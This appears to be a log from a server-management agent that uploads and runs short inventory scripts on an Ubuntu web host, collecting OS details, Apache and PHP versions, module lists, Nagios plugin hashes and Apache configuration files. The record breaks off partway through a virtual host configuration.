MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-23 17:43:23: Establishing a connection
2025-12-23 17:43:31: Establishing a connection
2025-12-23 17:43:32: Performing Server Status
2025-12-23 17:43:32:
PUT: /tmp/pkp525231
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 17:43:33:
chmod 755 /tmp/pkp525231; /tmp/pkp525231; rm /tmp/pkp525231
2025-12-23 17:43:33:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/dev/dm-0 partition 1998844 0 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mercury
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-23 17:43:33:
PUT: /tmp/pkp531477
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-23 17:43:34:
chmod 755 /tmp/pkp531477; /tmp/pkp531477; rm /tmp/pkp531477
2025-12-23 17:43:34:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 8993
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 8993 0.0 0.6 218004 24780 ? Ss 17:10 0:00 /usr/sbin/apache2 -k start
[modules]
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-12-23 17:43:34:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'mercury',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/dev/dm-0',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'reqtimeout_module',
26 => 'rewrite_module',
27 => 'setenvif_module',
28 => 'socache_shmcb_module',
29 => 'ssl_module',
30 => 'status_module',
),
),
)
2025-12-23 17:43:34:
PUT: /tmp/pkp590786
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-23 17:43:35:
chmod 755 /tmp/pkp590786; /tmp/pkp590786; rm /tmp/pkp590786
2025-12-23 17:43:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
2025-12-23 17:43:35:
PUT: /tmp/pkp496654
#!/bin/bash
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-23 17:43:36:
chmod 755 /tmp/pkp496654; /tmp/pkp496654; rm /tmp/pkp496654
2025-12-23 17:43:36:
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.6
2025-12-23 17:43:36:
PUT: /tmp/pkp427828
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 17:43:36:
chmod 755 /tmp/pkp427828; /tmp/pkp427828; rm /tmp/pkp427828
2025-12-23 17:43:37:
(gzipped output)
bin(/usr/local/nagios/libexec/check_file_age)= bbb77d5060295afcc65b5d70def5112f
bin(/usr/local/nagios/libexec/check_oracle)= be3b86d143b2b5f88a275efd4626174b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_hpjd)= 64ee3194a0a81fbb7cf3d9b57446938f
bin(/usr/local/nagios/libexec/check_ide_smart)= effbb42dc1945424cdae93b78554a352
bin(/usr/local/nagios/libexec/check_dns)= 678ab45c25c434402bf611852a8a4683
bin(/usr/local/nagios/libexec/check_http)= 9906dd7f5ca3bfc80b5a973a6e069fba
bin(/usr/local/nagios/libexec/check_dig)= 187d7f6496af34afee3eea71cfccd8f6
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 77231cfefa010e176e6f79104ba8aa17
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_udp)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_ifstatus)= a12ea262bc58c565ebb494060038ac9e
bin(/usr/local/nagios/libexec/check_clamd)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_pop)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_log)= 84a10ba3f6d50f6735e0b70de00cb752
bin(/usr/local/nagios/libexec/check_ntp_peer)= 700aa1be6531659457ad1813c2ff4fa4
bin(/usr/local/nagios/libexec/check_rpc)= 7e1cee5fe4eee5cf37382111289330f9
bin(/usr/local/nagios/libexec/check_snmp)= ae476b134b35a2069a66ca7bf3dfef5f
bin(/usr/local/nagios/libexec/check_nntps)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_jabber)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_nt)= 67b096102e7d9cb948ecc905b6974647
bin(/usr/local/nagios/libexec/check_time)= 9015466bda93ce734f8a44f1f93ba086
bin(/usr/local/nagios/libexec/check_dhcp)= 5305683e7179a4e2045b28701511c0cd
bin(/usr/local/nagios/libexec/check_ntp_time)= bdd5225fb6495d5bfbf64f1257e9a63b
bin(/usr/local/nagios/libexec/check_overcr)= 5cf7c28c869e4345a0290081aaf8acd7
bin(/usr/local/nagios/libexec/check_real)= 4080a208db40511259649484b0e3500f
bin(/usr/local/nagios/libexec/check_mrtg)= 196fccc1433d57c7bc33ebed9ae52d66
bin(/usr/local/nagios/libexec/check_spop)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_disk)= b9a53817f067cb6f05e8bd6b87e37262
bin(/usr/local/nagios/libexec/check_ftp)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_uptime)= d14ffb873597dcfe063affcc89cd9855
bin(/usr/local/nagios/libexec/check_ups)= 4d21b8834fe4a56be3d0d4b20334f98f
bin(/usr/local/nagios/libexec/check_by_ssh)= 399c72f511991f704a27425a347b4872
bin(/usr/local/nagios/libexec/check_ssh)= bcf976003bcbb8123e8cfeb0d1dd19ff
bin(/usr/local/nagios/libexec/check_dummy)= 42979d98f4da7a6fd55ab49df8447117
bin(/usr/local/nagios/libexec/check_imap)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_smtp)= 41efde96f194785578a8aae9a95ee34f
bin(/usr/local/nagios/libexec/check_sensors)= 06ac1c2751486a92a89fba506341aee0
bin(/usr/local/nagios/libexec/check_mailq)= 7ac214801577c64b50c8f867f8e27457
bin(/usr/local/nagios/libexec/check_swap)= 0056e9ce4cbb5c33df89b73d5796262c
bin(/usr/local/nagios/libexec/check_flexlm)= 8d980eb064966cdd62b75bd4b53a9d3c
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_ircd)= 4652b5283f36f3c286dedd7b96002f59
bin(/usr/local/nagios/libexec/check_nagios)= df628678fae8b52e057fc38eeccd5212
bin(/usr/local/nagios/libexec/check_wave)= 894b14827450865b177de0e4c19b13e0
bin(/usr/local/nagios/libexec/check_tcp)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_simap)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_ping)= 5fd0ad4e25c9b58b3e0773076cea3462
bin(/usr/local/nagios/libexec/check_mrtgtraf)= d61ddfec3477a2d3888a13a76fa07bac
bin(/usr/local/nagios/libexec/check_nntp)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_icmp)= 9aeab987e022c350c62dfc337e200dd2
bin(/usr/local/nagios/libexec/check_ssmtp)= b17c6fce20b402c64b9d6f3ab63e19c2
bin(/usr/local/nagios/libexec/check_apt)= 4e124a535cd8ba1468833fbf5a0a1241
bin(/usr/local/nagios/libexec/check_procs)= 0033a2ac44dd2e39cdcaf9385a2de9c1
bin(/usr/local/nagios/libexec/check_disk_smb)= 6bc356a7345c4149bac3c6889447261e
bin(/usr/local/nagios/libexec/check_ntp)= 53a9e0f59622610ec86d2e767f0c2a5a
bin(/usr/local/nagios/libexec/check_load)= 555f56f1a20ab1c72317355584b7c7e2
bin(/usr/local/nagios/libexec/check_nwstat)= 6283502be064661151b408b0e2d6dda1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_breeze)= 6b734e492b6a98b6def0496fc7636fcc
bin(/usr/local/nagios/libexec/check_cluster)= a626d16bc3e1f4185cedd25670e45f6e
bin(/usr/local/nagios/libexec/check_users)= 49119f108bac8d26416c095d0d163485
2025-12-23 17:43:37:
PUT: /tmp/pkp811921
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-23 17:43:37:
chmod 755 /tmp/pkp811921; /tmp/pkp811921; rm /tmp/pkp811921
2025-12-23 17:43:38:
status=ok
2025-12-23 17:43:38:
PUT: /tmp/pkp781688
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 17:43:38:
chmod 755 /tmp/pkp781688; /tmp/pkp781688; rm /tmp/pkp781688
2025-12-23 17:43:38:
2025-12-23 17:43:38:
PUT: /tmp/pkp811389
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/ports.conf')
show_file('/etc/apache2/apache2.conf')
show_file('/etc/apache2/sites-available/pjy_mercury_us.conf')
show_file('/etc/apache2/sites-available/000-default.conf')
show_file('/etc/apache2/sites-available/default-ssl.conf')
show_file('/etc/apache2/sites-available/n-e-v_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-23 17:43:39:
chmod 755 /tmp/pkp811389; /tmp/pkp811389; rm /tmp/pkp811389
2025-12-23 17:43:39:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf 274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf 7178
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default
#
# The directory where shm and other runtime files will be stored.
#
DefaultRuntimeDir ${APACHE_RUN_DIR}
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_mercury_us.conf 1579
<VirtualHost *:80>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_mercury
<Directory /var/www/hostz_mercury>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/mercury_access.log combined
ErrorLog /var/log/apache2/pjy/mercury_error.log
SetEnv pkp_uid 35
SetEnv pkp_owner nev
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mercury.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
